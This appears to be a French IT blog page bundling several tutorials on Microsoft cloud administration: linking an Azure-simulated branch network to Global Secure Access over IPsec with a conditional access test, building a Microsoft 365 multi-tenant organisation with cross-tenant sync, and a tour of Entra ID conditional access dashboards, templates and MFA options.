L’accès aux 2 partages de fichiers fonctionnent sans souci 😎 ! La mise en place de trust est grandement facilité depuis le service Entra Domain Services. Il s’agit d’une raison supplémentaire d’utiliser ce service, tout en prenant soin de mesurer ces différences juste ici.

Connectez votre réseau local à Global Secure Access

Restons encore un peu dans la lignée des articles dédiés au Global Secure Access de Microsoft. Abordons cette fois-ci une fonction appelée Remote Network : la connexion d’un réseau local (distant) tout entier à un point Edge du réseau Microsoft. Cette approche est complémentaire aux Clients Global Secure Access installés sur les postes en situation de mobilité.

Si le sujet Global Secure Access vous passionne tout comme moi, je vous invite à lire mes précédents articles sur le sujet :

J’y détaille l’intérêt du service Global Secure Access et la démarche sécuritaire mise en avant par Microsoft.

Qu’est-ce qu’un réseau distant ?

A l’inverse de postes en mobilité, il faut voir ces réseaux comme des réseaux fixes d’une entreprise dont le nombre et la répartition est possiblement mondiale :

Les réseaux distants sont des emplacements distants 🤣 ou des réseaux qui nécessitent une connectivité Internet. Par exemple, de nombreuses organisations ont un siège social central et des filiales dans différentes zones géographiques. Ces filiales ont besoin d’accéder aux données et services d’entreprise. Elles ont besoin d’un moyen sécurisé de communiquer avec le centre de données, le siège social et les travailleurs à distance. La sécurité des réseaux distants est cruciale pour de nombreux types d’organisations.

Les réseaux distants, tels qu’un emplacement de branche, sont généralement connectés au réseau d’entreprise via un réseau étendu dédié (WAN) ou une connexion de réseau privé virtuel (VPN). Les employés de l’emplacement de branche se connectent au réseau à l’aide de l’équipement local du client (CPE).

Microsoft Learn

Comment fonctionne la connectivité réseau à distance Global Secure Access ?

Comme pour une connexion VPN classique, une connexion sécurisée via le service Global Secure Access s’appuie sur un tunnel IP Sec :

Pour connecter un réseau distant à Global Secure Access, configurez un tunnel IPSec (Internet Protocol Security) entre votre équipement local et le point de terminaison Global Secure Access. Le trafic que vous spécifiez est acheminé via le tunnel IPSec vers le point de terminaison Global Secure Access le plus proche. 

Microsoft Learn

Pourquoi utiliser Global Secure Access pour nos réseaux ?

Global Secure Access propose une approche plus adaptée que les méthodes traditionnelle (WAN / MPLS) en faisant transiter la donnée via le backbone de Microsoft avec une tarification bien plus abordable que ces concurrents :

Il est de plus en plus difficile de maintenir la sécurité d’un réseau d’entreprise dans un monde de travail à distance et d’équipes distribuées. Security Service Edge (SSE) promet un monde de sécurité où les clients peuvent accéder à leurs ressources d’entreprise n’importe où dans le monde sans avoir à renvoyer leur trafic au siège social.

Microsoft Learn

Qu’est-ce que le Zéro Trust Network Access (ZTNA) ?

L’accès au réseau sans confiance (ZTNA), également connu sous le nom de périmètre défini par logiciel (SDP), est un ensemble de technologies et de fonctionnalités qui permettent un accès sécurisé aux applications internes pour les utilisateurs distants. Il fonctionne sur la base d’un modèle de confiance adaptatif, où la confiance n’est jamais implicite et où l’accès est accordé en fonction du besoin de savoir, sur la base du moindre privilège défini.

Zscaler

De manière plus simple, ZTNA reprend l’approche de ZT en y intégrant en tant que signal d’entrée la couche réseau, afin de rendre les décisions d’accès ou d’interdiction encore plus précises et donc plus sécurisantes :

Afin de se faire une meilleure idée sur le Global Secure Access encore en préversion, je vous propose de réaliser un nouvel exercice. Voici quelques liens vers la documentation Microsoft :

J’ai été assez surpris de voir que Microsoft a même écrit un mode opératoire en simulant comme moi le réseau distant sous Azure 😎

Comme Microsoft, mon but est donc de mesurer l’impact dans l’accès aux services 365 en simulant un réseau distant sous Azure et directement connecté Global Secure Access. Les tâches que nous allons réaliser seront donc les suivantes :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer des éléments suivants :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité toujours en préversion, il est nécessaire de créer une machine virtuelle pour simuler un accès aux services 365 depuis notre réseau distant.

Etape I – Préparation de la VM de test :

Pour cela, rechercher le service Machines virtuelles sur le portail Azure :

Cliquez-ici pour commencer la création de la première machine virtuelle :

Renseignez les informations de base relatives à votre VM en choisissant une image sous Windows Server 2022 :

Choisissez la taille de votre VM, puis définissez un compte administrateur local :

Bloquez les ports entrants, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Retirez l’IP publique, puis cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la première VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre première machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Attendez environ 3 minutes que la notification Azure suivante apparaisse :

Notre machine virtuelle est maintenant opérationnelle. La prochaine étape consiste à préparer la connexion VPN côté Azure.

Etape II – Création de la passerelle VPN Azure :

Pour cela, nous allons avoir besoin d’une passerelle VPN Azure. Un ancien article parlait déjà de ce service Azure juste ici.

Recherchez le réseau virtuel créé avec la VM, puis notez sa plage d’adresses réseaux pour la suite :

Profitez-en pour lui ajouter un sous-réseau dédié à la future passerelle VPN :

Cliquez sur Sauvegarder :

Attendez environ 15 secondes que la notification suivante apparaisse :

Recherchez dans le menu Azure le service suivant pour créer la passerelle VPN :

Cliquez-ici pour créer votre passerelle VPN Azure :

Renseignez les informations de base, choisissez le SPU VpnGw1, puis le même réseau virtuel que précédemment :

Désactivez mode actif-actif, activez la fonction BGP, renseignez un numéro ASN valide, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la passerelle VPN, puis attendez environ 30 minutes :

Une fois le déploiement terminé, cliquez-ici afin de récupérer quelques informations sur la passerelle VPN :

Allez dans l’onglet Configuration afin de copier ces informations :

Notre passerelle VPN côté Azure est maintenant en place. Nous devons maintenant configurer Global Secure Access d’Entra ID pour reconnaître les demandes de connexion depuis cette passerelle VPN.

Etape III – Configuration du réseau distant sur GSA :

Rendez-vous sur la page suivante du portail Entra, puis cliquez-ici pour mettre en place la connexion réseau côté Microsoft Entra :

Nommez votre connexion, choisissez la région Azure la plus proche de votre réseau distant, puis cliquez sur Suivant :

Ajoutez un lien réseau à votre connexion :

Renseignez les informations de base en reprenant les informations récupérées de la passerelle VPN, puis cliquez sur Suivant :

Conservez les options suivantes, puis cliquez sur Suivant :

Définissez une clef PSK et conservez-là, puis cliquez sur Suivant :

Cliquez sur suivant :

Cochez la seule case possible à ce jour : seul le traffic vers les services Microsoft 365 sera actuellement routé via cette connexion, puis lancez la validation Entra ID :

Une fois la validation Entra ID réussie, lancez la connexion réseau, puis attendez environ 1 minute :

Une notification Entra ID apparaît alors :

Consultez le menu suivant afin de constater la présence d’un réseau distant uniquement sur le profil Microsoft 365 :

Retournez sur le menu des connexions réseaux afin de récupérer des informations :

Récupérez les 3 informations suivantes pour continuer la configuration de la connexion à la passerelle VPN côté Azure :

La configuration réseau côté Global Secure Access est maintenant terminée. Avançons maintenant côté Azure afin que ce dernier reconnaisse également le réseau GSA.

Etape IV – Configuration du réseau GSA sur Azure :

Retournez sur le portail Azure afin de créer passerelle de réseau local correspondant à la connexion configurée sur Global Secure Access.

Pour cela, recherchez le service suivant sur le portail Azure :

Cliquez-ici pour commencer la création :

Renseignez les informations de base, reprenez l’IP publique récupérée sur Global Secure Access, puis cliquez sur Suivant :

Renseignez les autres informations suivantes provenant de Global Secure Access, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la passerelle de réseau local, puis attendez environ 2 minutes :

Attendez que le déploiement de la passerelle de réseau local soit terminé :

Avant de finaliser la configuration VPN, il serait intéressant de tester une connexion vers les services 365 en y incluant une police d’accès conditionnel potentiellement bloquante.

Etape V – Global Secure Access + Accès Conditionnel :

La signalisation de Global Secure Access fournit des informations sur l’emplacement du réseau à l’accès conditionnel, ce qui permet aux administrateurs de créer des politiques qui limitent l’accès des utilisateurs à des applications spécifiques en fonction de leur utilisation du client Global Secure Access ou d’un réseau distant.

Microsoft Entra

La combinaison de Global Secure Access et de l’Accès Conditionnel va donc permettre de restreindre l’accès à certains services si la connexion via Global Secure Access n’est pas établie.

Pour cela, créez une nouvelle police d’accès conditionnel par le menu suivant :

Spécifiez le groupe d’utilisateurs de test concerné :

Définissez la ou les applications à protéger :

Excluez de cette police les connexions faites via Global Secure Access :

Bloquez l’accès pour toutes les autres tentatives de connexion, activez la police puis sauvegardez-là :

Attendez quelques minutes, puis retournez sur votre VM de test via une session Azure Bastion :

Lancez un ping sur le site outlook.office.com afin de constater l’IP actuelle du service de messagerie de Microsoft :

Ouvrez Edge sur la page office.com afin de vous authentifiez avec un compte 365 de test :

Connectez-vous-y en utilisant l’identité Entra ID de votre compte de test :

Constatez le blocage de l’accès conditionnel mis en place précédemment :

Ce test nous confirme que la connexion GSA via un réseau distant ou le client est maintenant obligatoire pour accéder aux services 365.

Finalisons maintenant la connexion entre notre environnement Azure de test et GSA.

Etape VI – Connexion entre le réseau distant et GSA :

De retour sur le portail Azure, cliquez-ici pour mettre en place la connexion entre la passerelle VPN et Global Secure Access :

Définissez la connexion en IP Sec, puis cliquez sur Suivant :

Renseignez les informations de base dont la clef PSK, cochez la case BGP, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la connexion, puis attendez environ 1 minute :

Attendez que le déploiement de la connexion soit terminé, puis cliquez-ici :

Constatez le statut inconnu de celle-ci :

Retournez sur la page suivante de la passerelle VPN, puis rafraichissez périodiquement afin de constater une changement de status de la connexion :

Le statut devrait changer sous environ 3 minutes :

Consultez la page suivante pour voir les impacts de routage via les communications BGP :

L’environnement est maintenant opérationnel. Il ne reste plus qu’à refaire des tests sur notre machine virtuelle.

Etape VII – Global Secure Access + Accès Conditionnel v2 :

Lancez un ping sur le site outlook.office.com afin de constater la nouvelle IP du service de messagerie Microsoft :

Ouvrez Edge en navigation privée sur la page office.com afin de vous authentifiez avec un compte 365 de test :

Connectez-vous-y en utilisant l’identité Entra ID de votre compte de test :

Cliquez sur Non :

Constatez la bonne connexion au service de Microsoft 365 :

Afin de confirmer nos tests, retirez la connexion entre Azure et GSA pour retrouver le blocage initialement constaté à cause de la police d’accès conditionnelle.

Etape VIII – Retrait de la connexion VPN :

De retour sur le portail Azure, supprimez la connexion VPN Azure précédemment établie :

Confirmez votre choix en cliquant sur Oui :

Attendez que la notification Azure suivante apparaisse :

Lancez un ping sur le site outlook.office.com afin de constater la nouvelle IP du service de messagerie de Microsoft :

Constatez le retour du blocage de l’accès conditionnel mis en place précédemment :

Consultez l’évolution du status de la connexion Global Secure Access via le menu suivant :

Constatez le log de connexion vers les services Microsoft 365 ayant transité par le Global Secure Access via le menu suivant :

Conclusion

Ce nouveau test montre encore une fois la grande simplicité de la connexion entre l’on-premise et les services 365 de Microsoft. Aucun doute que ce service devrait connaître un grand succès une fois sorti de sa préversion et quand sa grille tarifaire sera dévoilée 🤣🙏

Le prochain article devrait parler de l’Accès Privé de Global Secure Access. John a déjà pris de l’avance sur moi 🤣

Organisez-vous grâce au multi-tenants

Microsoft propose depuis quelques temps déjà plusieurs options pour gérer les organisations réparties sur plusieurs tenants Cloud. Par exemple, la synchronisation entre tenants a été introduite en janvier de cette année. Depuis, les choses continuent de progresser grâce à l’arrivée d’un nouveau niveau : l’organisation multi-tenants = regroupement de plusieurs tenants B2B dans un seul ensemble ayant des facultés de synchronisation.

Avant de tester la création d’une organisation multi-tenants sur mon environnement de démonstration, faisons d’abord un bref rappel de quelques notions importantes sur les tenants Microsoft.

Qu’est-ce qu’un tenant Microsoft ?

Nous pourrions traduire le mot anglais Tenant par locataire. Dans l’univers du Cloud Microsoft, le terme Tenant désigne le périmètre (le Cloud) dans laquelle vos données sont stockées. Ainsi chaque client possède sa propre sphère, son propre Tenant.

Voici d’ailleurs la définition selon Microsoft :

Un locataire est une instance d’Azure AD dans laquelle résident des informations sur une seule organisation, y compris des objets organisationnels tels que des utilisateurs, des groupes et des appareils, ainsi que des inscriptions d’applications, telles que Microsoft 365 et des applications tierces.

Microsoft Learn

Qu’est-ce que la synchronisation multi-tenants ?

La synchronisation multi-tenants d’Entra ID est un mécanisme qui facilite la création, la modification et la suppression des utilisateurs à travers plusieurs tenants via un système automatisé et géré par Microsoft :

Son objectif principal est d’assurer une collaboration transparente entre les tenants d’une même organisation, tout en rationalisant la gestion des comptes utilisateurs B2B dans un environnement multi-tenants.

Une vidéo de John en parle d’ailleurs très bien :

Concernant la gestion d’identités externes au tenant, Microsoft propose également d’autres fonctionnalités comme par exemple :

Qu’est-ce qu’une organisation multi-tenants ?

Nous sommes ici à un niveau plus élevé que le tenant unique, nous parlons ici de fédérer plusieurs tenants Microsoft.

L’image ci-dessous montre 2 tenants Microsoft distincts, contenant chacun des utilisateurs présents dans chacun d’eux (Entra ID) :

Microsoft a développé ce niveau pour répondre à plusieurs demandes :

Une organisation multilocataire est une organisation qui a plusieurs instances d’Azure AD. Voici les principales raisons pour lesquelles une organisation peut avoir plusieurs locataires :

  • Conglomérats : les organisations avec plusieurs filiales ou unités commerciales qui fonctionnent indépendamment.
  • Fusions et acquisitions : organisations qui fusionnent ou acquièrent des sociétés.
  • Activité de cession : dans le cadre d’une cession, une organisation fractionne une partie de ses activités pour former une nouvelle organisation ou la vendre à une organisation existante.
  • Plusieurs clouds : les organisations dont la conformité ou la réglementation doivent exister dans plusieurs environnements cloud.
  • Plusieurs limites géographiques : organisations qui opèrent dans plusieurs emplacements géographiques avec différentes réglementations de résidence.
  • Locataires de test ou intermédiaires : organisations qui ont besoin de plusieurs locataires à des fins de test ou de préproduction avant de procéder à un déploiement plus large sur des locataires principaux.
  • Locataires créés par un service ou un employé : organisations où des services ou des employés ont créé des locataires pour le développement, le test ou le contrôle distinct.
Microsoft Learn

Pour vous donner un exemple concret, ce scénario peut se présenter quand une entreprise en rachète d’autres. Bien souvent, celles-ci ont chacune un environnement 365 déjà en place, et l’idée d’une migration de tenant à tenant est considérée comme trop lourde.

Pour faire simple, l’organisation à multi-tenants continue elle aussi de s’appuyer sur la synchronisation entre tenants d’Entra ID : Les utilisateurs de votre tenant sont alors provisionnés dans les autres tenants de l’organisation en tant qu’utilisateurs de collaboration B2B.

Peut-on gérer une organisation multi-tenants dans Microsoft 365 ?

Au-delà les différents mécanismes possibles de collaboration sur Entra ID, Microsoft a rajouté ce niveau d’organisation multi-tenants dans la console d’administration de Microsoft 365 :

Note : L’activation antérieure de la synchronisation entre tenants d’Entra ID ne gêne en rien la mise en place d’une organisation multi-tenants. Celles-ci continueront toujours de fonctionner :

Afin de se faire une meilleure idée de l’ensemble de tenants, je vous propose de mettre en place une organisation multi-tenants à partir de 2 tenants B2B non connectés.

Voici les différentes étapes de l’exercice que je vous propose :

Commençons d’abord par détailler les prérequis et l’environnement de départ pour nos tests.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur la migration Active Directory vers Azure, il vous faudra disposer de :

  • 2 tenants Microsoft avec des licences 365
  • Une souscription Azure valide pour la création des machines virtuelles de test

Dans mon exemple, mes deux tenants de test sont issus du Microsoft 365 Developer Program. Voici la vue de mes deux tenants de test :

  • JLO Tenant A // jean0loup.onmicrosoft.com
  • JLO Tenant B // tdsynnexchlab.onmicrosoft.com

Chacun de mes 2 tenants dispose d’utilisateurs avec des licences Microsoft 365 E5 Dev :

Dans chacun des tenants de test, j’ai créé également 2 groupes de 3 d’utilisateurs chacun :

Enfin pour les tests, j’ai également créé 2 machines virtuelles de test pour la démonstration côté utilisateur :

Sur ces 2 machines virtuelles hébergées sur Azure, j’y ai installé la suite office 365 + Teams :

J’ai installé Microsoft Teams par ce lien :

Avant la moindre configuration, j’ai testé le bon fonctionnement du chat EXTERNE de Teams entre 2 utilisateurs des 2 tenants :

Microsoft nous le rappelle bien : tenanta user1 fait partie d’une organisation. Il est possible qu’ils aient des politiques liées aux messages qui s’appliquent au chat.

Nous allons donc maintenant déployer une organisation multi-tenants depuis la console d’administration de Microsoft 365.

Etape I – Configuration de l’organisation multi-tenants :

La fonction d’organisation multi-tenants est encore en préversion à l’heure où ces lignes sont écrites. Il est donc nécessaire d’activer l’option de livraison ciblée sur les 2 tenants de test.

Pour cela, rendez-vous sur la page d’administration de Microsoft 365, puis dans le menu ci-dessous afin d’activer l’option suivante :

Attendez quelques minutes, puis rafraîchissez cette même page afin de voir apparaître le menu suivant :

Effectuez cette opération sur les 2 tenants.

Dans ce menu, commencez par démarrer le processus de mise en place de l’organisation multi-tenants en cliquant ici :

Sélectionnez le premier choix afin de créer l’organisation multi-tenants :

Avant d’aller plus loin, ouvrez un second navigateur internet afin de copier sur cette page l’identifiant tenant ID du second environnement :

Renseignez les champs et collez le tenant ID récupéré précédemment :

Cliquez sur Suivant :

Cochez les deux cases suivantes pour valider la synchronisation entrante, puis cliquez sur Suivant :

Cliquez sur le bouton ci-dessous pour valider et démarrer le processus de création de l’organisation multi-tenants :

Copiez le lien ci-dessous afin de terminer le processus de création dans le second tenant de test :

Dans votre second navigateur, rendez-vous sur le lien copié précédemment, puis cliquez-ici pour valider la synchronisation entrante :

Cliquez sur Terminer :

Le message suivant apparaît pour vous indiquer que le processus d’intégration du second tenant est en cours. Cliquez-ici plusieurs fois pour rafraichir le processus :

Quelques minutes plus tard, le lien de synchronisation est bien confirmé dans sur les deux tenants de notre organisation multi-tenants :

Sur les 2 tenants, cliquez ici pour partager un groupe d’utilisateurs vers l’autre tenant :

Après cela, cliquez sur les deux tenants de destinations afin de vérifier la bonne prise en compte des utilisateurs présentes dans vos 2 groupes Entra ID à synchroniser :

La configuration de l’organisation multi-tenants depuis le portail d’administration de Microsoft 365 est maintenant terminée. La synchronisation multi-tenants devrait se lancer sous peu.

Afin d’en savoir un peu plus, rendez-vous sur le portail d’Entra ID juste ici.

Etape II – Configuration de la synchronisation multi-tenants :

Grâce à la configuration de l’organisation multi-tenants, Entra ID a automatiquement préconfiguré la synchronisation multi-tenants.

Cliquez sur le menu suivant d’Entra ID pour découvrir les paramétrages effectués sur vos 2 tenants :

Cliquez sur les 2 configurations créées :

Visualisez les différentes informations disponibles, dont l’intervalle d’approvisionnement fixe :

Configurez-ici si besoin les notifications par email, puis sauvegardez :

Analysez les personnalisations possibles concernant les attributs d’Entra ID :

Quelques minutes plus tard, retournez sur les listes d’utilisateurs respectives de vos 2 tenants afin de constater l’apparition d’utilisateurs synchronisés :

Notez l’absence de synchronisation des groupes Entra ID, seuls des utilisateurs des groupes sélectionnés sont synchronisés :

Consultez et comparez sur les 2 tenants les propriétés synchronisées (ou non) d’un utilisateur concerné :

Il est également possible de lancer, sans attendre, une synchronisation manuelle.

Afin de tester cela, renseignez un titre de poste sur un autre utilisateur synchronisé :

Rendez-vous dans le menu suivant pour lancez la synchronisation à la demande :

Recherchez l’utilisateur à synchroniser, puis démarrez le traitement :

Attendez quelques secondes, puis constatez le changement de titre de poste sur le second tenant :

A noter qu’il n’est pas possible d’effectuer la synchronisation inverse depuis le tenant de destination :

Notre configuration est maintenant en place. Nous allons pouvoir effectuer différents tests entre nos deux utilisateurs de test :

  • tenanta-user1@jean0loup.onmicrosoft.com
  • tenantb-user1@tdsynnexchlab.onmicrosoft.com

Pour rappel, ces utilisateurs sont représentés de la façon suivante dans les 2 tenants de destination :

  • tenantb-user1_tdsynnexchlab.onmicrosoft.com#EXT#@jean0loup.onmicrosoft.com
  • tenanta-user1_jean0loup.onmicrosoft.com#EXT#@tdsynnexchlab.onmicrosoft.com

Etape III – Test de Microsoft Teams :

Depuis les 2 machines virtuelles, ouvrez le client Microsoft Teams. Pour une meilleure expérience utilisateur, activez le nouveau Teams :

Depuis l’écran des paramétrages de Teams, activez la prise en charge des 2 tenants :

Sur le 2 sessions Teams, recherchez les utilisateurs invités respectifs. Notez la présence d’utilisateurs externes précédemment utilisés pour communiquer :

Commencez la communication sur les utilisateurs NON EXTERNE :

Notez les points suivants :

  • La présence de 2 notifications Windows respectives
  • La présence de 2 notifications Teams respectives
  • L’incohérence dans le fil de discussion dans l’écran en tâche de fond

Un clic sur les 2 notifications Teams respectives permet de permuter sur le second tenant :

De retour sur les tenants de départ, commencez la création d’une équipe Teams :

Ajoutez dans celle-ci l’utilisateur invité du second tenant, puis cliquez sur Ajoutez :

Postez un nouveau message d’équipe en citant le second utilisateur comme ceci, afin de constater l’absence de notifications Teams :

Enfin, testez la fonctionnalité d’appel de Teams afin de constater la présence de notifications sur le second utilisateur :

Les quelques tests sur Microsoft Teams ont pu démontrer une bonne intégration des environnements multi-tenants, mais des efforts sur les notifications sont encore à faire.

Pour l’instant, je trouve que la communication via des comptes utilisateurs EXTERNES est encore plus simple.

Continuons les tests avec SharePoint Online.

Etape IV – Test de SharePoint Online :

Créez un nouveau site SharePoint online avec des droits au second utilisateur de test, puis ajoutez-y des fichiers.

Copiez / collez l’URL du site SharePoint Online dans la navigateur de la second VM, puis authentifiez-vous :

Vérifiez la bonne ouverture d’un des fichiers présents :

SharePoint Online fonctionne donc sans souci avec les utilisateurs synchronisés, continuons avec Exchange Online.

Etape V – Test d’Exchange Online :

Configurez une boite mail partagée sur un des 2 tenants, puis ajoutez-y des droits au second utilisateur de test :

Depuis Exchange Online, ouvrez sur les 2 sessions la boite mail partagée créée précédemment via la fonction Ouvrir une autre boîte aux lettres :

Saisissez le nom de la boite mail partagée, puis cliquez sur Ouvrir :

Constatez la présence d’un message d’erreur sur la seconde session :

Essayez si besoin avec le client Outlook local :

Là encore, l’expérience utilisateur ne sera pas encore fonctionnelle :

Je suppose que le point concernant Outlook repose encore sur le fait que les boîtes mails partagées n’acceptent toujours pas de comptes invités.

Conclusion :

Microsoft continue d’avancer avec sa solution d’organisation multi-tenants et cela facilite grandement la création d’utilisateurs ayant des droits SharePoint / OneDrive sur plusieurs entreprises. Mais il y a encore des difficultés dans la partie Teams, au niveau des notifications, et dans la partie Outlook dans la partie authentification.

Nul doute que d’autres améliorations encore à venir afin que les utilisateurs de tenants différents puissent encore accroitre leurs synergies.

Maîtrisez vos accès conditionnels

Cette semaine, Microsoft vient juste d’annoncer la disponibilité générale (GA) de fonctionnalités récentes liées à l’Accès Conditionnel, et très présent au cœur d’Entra ID. L’ajout de tableaux de bord sur plusieurs ressources (utilisateurs, périphériques et applications) faciliteront grandement le contrôle de la bonne couverture des polices d’accès conditionnels sur les besoins.

Voici un lien vers un article pour un bref rappel de l’accès conditionnel, déjà expliqué dans un autre article dédié à Azure Virtual Desktop.

Qu’est-ce que l’Accès Conditionnel ?

Tous les environnements informatiques sont en quête d’une protection toujours plus efficace pour se prémunir des intrusions extérieures. L’ouverture des architectures IT au travers du Cloud apporte une plus grande disponibilité de l’information aux utilisateurs, mais occasionne un plus de grand nombre de connexions à distances, et donc de situations sécuritaires à gérer.

Le périmètre de sécurité moderne s’étend au-delà du périmètre réseau d’une organisation pour inclure l’identité de l’utilisateur et de l’appareil. Les organisations utilisent désormais des signaux basés sur l’identité dans le cadre de leurs décisions de contrôle d’accès.

Microsoft Learn

Qu’est-ce qu’un Signal pour Entra ID ?

L’accès conditionnel repose sur un certain nombre de signaux ou paramètres d’entrée. Ces derniers sont les éléments mêmes qui caractérise la connexion de l’utilisateur, tels que :

  • Emplacement (adresse IP)
  • Appareil (OS, version, conformité, …)
  • Utilisateur Entra ID
  • Application interrogée
  • IA (Détection des risques en temps réel géré par Entra ID Identity Protection)

Qu’est-ce qu’une Décision pour Entra ID ?

La décision est le résultat dicté par la police d’accès conditionnel en correspondance avec les signaux. Il est possiblement question de bloquer l’accès à l’utilisateur, ou de l’autoriser selon des conditions particulières. Ces conditions correspondent à des mesures de sécurité supplémentaires, telles que :

  • Exiger une authentification multifacteur (cas plus utilisé)
  • Exiger que l’appareil soit marqué comme conforme
  • Exiger un appareil joint en hybride à Entra ID
  • Exiger une stratégie de protection des applications

Qu’est-ce qu’une Option d’application pour Entra ID ?

Ces options apportent une supervision de session et des accès de l’utilisateur telles que :

  • Empêcher l’exfiltration des données
  • Protéger lors du téléchargement
  • Empêcher le chargement de fichiers sans label
  • Bloquer les programmes malveillants potentiels
  • Surveiller les sessions utilisateur pour la conformité
  • Bloquer l’accès

Doit-on disposer de licence pour utiliser l’accès conditionnel ?

Rappel important : Mi-juillet 2023, Microsoft a annoncé renommer son service Azure AD (Azure Active Directory). Ce changement est encore en cours et devrait être finalisé pour la fin de cette année. Cette simplification de dénomination est en cohérence avec le périmètre de la gestion identitaire élargie et gérée par le Cloud de Microsoft.

Cela a aussi pour conséquence un léger changement de nom de certaines licences :

Microsoft a mis une FAQ à disposition juste ici.

L’utilisation de l’accès conditionnel d’Azure AD est une composante des licences Microsoft Entra ID Premium P1/P2. Vous retrouvez donc le service d’accès conditionnel dans un grand nombre de licences utilisateurs, dont les suivantes :

  • Microsoft Entra ID Premium P1
  • Microsoft Entra ID Premium P2
  • Enterprise Mobility + Security E3
  • Enterprise Mobility + Security E5
  • Microsoft 365 Business Premium
  • Microsoft 365 A3
  • Microsoft 365 A5
  • Microsoft 365 F1
  • Microsoft 365 F3
  • Microsoft 365 F5 Security
  • Microsoft 365 F5 Security + Compliance

Je vous remets également le lien vers le site très utile créé par Aaron Dinnage :

Qu’est-ce qu’alors la licence directement renseignée au niveau du tenant ?

Cette question me revient très souvent 😉. Il faut savoir que cette information provient des licences assignées aux utilisateurs du tenant. Ce n’est pas à proprement parler d’une licence ou un service du tenant :

Certains services clients ne sont actuellement pas en mesure de limiter les avantages à des utilisateurs spécifiques. Nous vous recommandons d’acquérir des licences pour tout utilisateur dont vous avez l’intention de bénéficier et/ou d’accéder au service.

Microsoft Learn

Autrement dit, une seule licence ayant la fonctionnalité d’accès conditionnel active l’option pour l’ensemble des utilisateurs du même tenant. Seulement, les règles d’utilisation du service exigent que chaque utilisateur soit couvert par une licence disposant de cette fonctionnalité.

Maintenant que la partie licence est clarifiée, nous allons pouvoir nous intéresser aux principales fonctionnalités de l’accès conditionnel.

Pour vous rendre sur les règles d’accès conditionnel, allez sur la page suivante d’Entra ID dédiée :

Voici quelques fonctionnalités de l’accès conditionnel d’Entra ID que je vous propose d’étudier :

Fonctionnalité I – Le nouveau tableau de bord :

La page d’accueil de l’accès conditionnelle a été revue pour afficher plusieurs informations essentielles aux équipes IT :

C’est vraiment ce qui manquait à ce service : la visibilité. Il est maintenant beaucoup plus simple de comprendre d’un rapide coup d’œil les éléments suivants :

  • Polices actives ou non : les polices d’accès conditionnel ont 3 statuts possibles. Le mode « Rapport seulement » est utile pour contrôler l’impact durant une phase de test sans perturber les utilisateurs.
  • Utilisateurs : Affiche le nombre d’utilisateurs ayant pu s’authentifier sans passer par aucune police d’accès conditionnel.
  • Périphériques : Affiche le nombre de poste étant non managés ou non conformes.
  • Applications : lien vers une liste des applications couvertes et non couvertes par une police d’accès conditionnel

Par exemple, un clic sur la première rubrique affiche le journal d’événements d’ouverture de session avec les filtres adéquats :

Un clic sur les applications ou sur l’onglet Couverture montre 2 différents tops applications :

  • Top des applications non couvertes par un accès conditionnel
  • Top des applications couvertes par un accès conditionnel

Là encore, un clic est possible pour basculer à nouveau sur le journal des événements d’ouverture de sessions afin d’identifier plus facilement les utilisateurs concernés par l’application ciblée :

Microsoft a même pensé au graphique afin d’améliorer la prise de vue dans son ensemble de ce que représente les accès conditionnés à ceux en étant dépourvues :

Voici une nouvelle vidéo qui résume bien ce nouvel écran :

Fonctionnalité II – Création d’une police :

Le véritable moteur de l’accès conditionnel d’Entra ID est : la police.

Depuis longtemps, il est possible de créer une police d’accès conditionnel depuis une feuille blanche. Vous devrez alors choisir parmi toutes les options disponibles dans les sections suivantes :

  • Utilisateur(s) : cible la police sur un utilisateur, un groupe d’utilisateurs ou même des utilisateurs selon leurs rôles. Il est même possible d’exclure des utilisateurs selon ces mêmes règles.
  • Destination(s) cible(s) : cible une ou plusieurs applications Cloud créées sur votre tenant. Là encore, Il est même possible d’exclure des applications si nécessaire.
  • Condition(s) : ajoute des conditions (ou signaux) présents au moment de l’authentification. Comme le risque calculé par Entra ID Identity Protection ou encore la localisation du poste.
  • Condition(s) d’accès : détermine si l’accès est bloqué et cela même si le processus d’authentification est réussi, ou conditionne l’accès selon des critères supplémentaires : MFA, poste conforme…
  • Contrôle(s) de session : renforce si besoin les conditions de persistance de la session au sein de l’application.

Fonctionnalité III – Création d’une police à partir d’un modèle :

Microsoft a proposé il y a plusieurs mois déjà de simplifier la création de police d’accès conditionnel en proposant des modèles de départ :

Ces modèles de base sont classifiées dans les 5 sections suivantes :

  • Sécurisation de base
  • Zero Trust
  • Travail à distance
  • Protection des administrateurs
  • Menaces émergentes

Par exemple, le blocage de l’authentification traditionnelle peut se faire en seulement quelques clics :

Vous pouvez à tout moment changer le statut de votre police. Cela permet de désactiver celle-ci si les résultats sécuritaires obtenus ne sont pas ceux attendus :

Fonctionnalité IV – Test d’une police avec la fonction « Et si » :

Tester une police d’accès conditionnel est possible avec un utilisateur de test ou via la fonction Et si. Cette second option est très utile si l’utilisateur n’est pas disponible ou si le scénario de test demande des conditions très particulières.

Un grand nombre de paramètres (signaux) sont disponibles pour réaliser des tests dans tous les sens :

Et le résultat ne se fait pas attendre, notre nouvelle police d’accès conditionnel créée à partir d’un modèle joue bien son rôle :

Fonctionnalité V – Déclaration de lieux nommés :

Par exemple, quand des lieux sont considérés comme des sites de l’entreprise et que la sécurité réseau est géré par le service IT, il devient utile de les renseigner ici :

Cela permet alors de créer des règles d’accès conditionnel plus précises en incluant ou excluant ces lieux :

Fonctionnalité VI – Configuration d’une MFA renforcée :

L’authentification multi-facteurs est devenue la norme pour s’authentifier sur Internet. Mais toutes les méthodes multi-facteurs ne se valent pas. Microsoft propose de laisser le choix des méthodes MFA aux administrateurs :

Par exemple, ils peuvent faire en sorte que seules les méthodes d’authentification résistantes au hameçonnage soient disponibles pour accéder à une ressource sensible. Toutefois, pour accéder à une ressource non sensible, ils peuvent autoriser des combinaisons d’authentification multifacteur (MFA) moins sécurisées, telles que mot de passe + SMS.

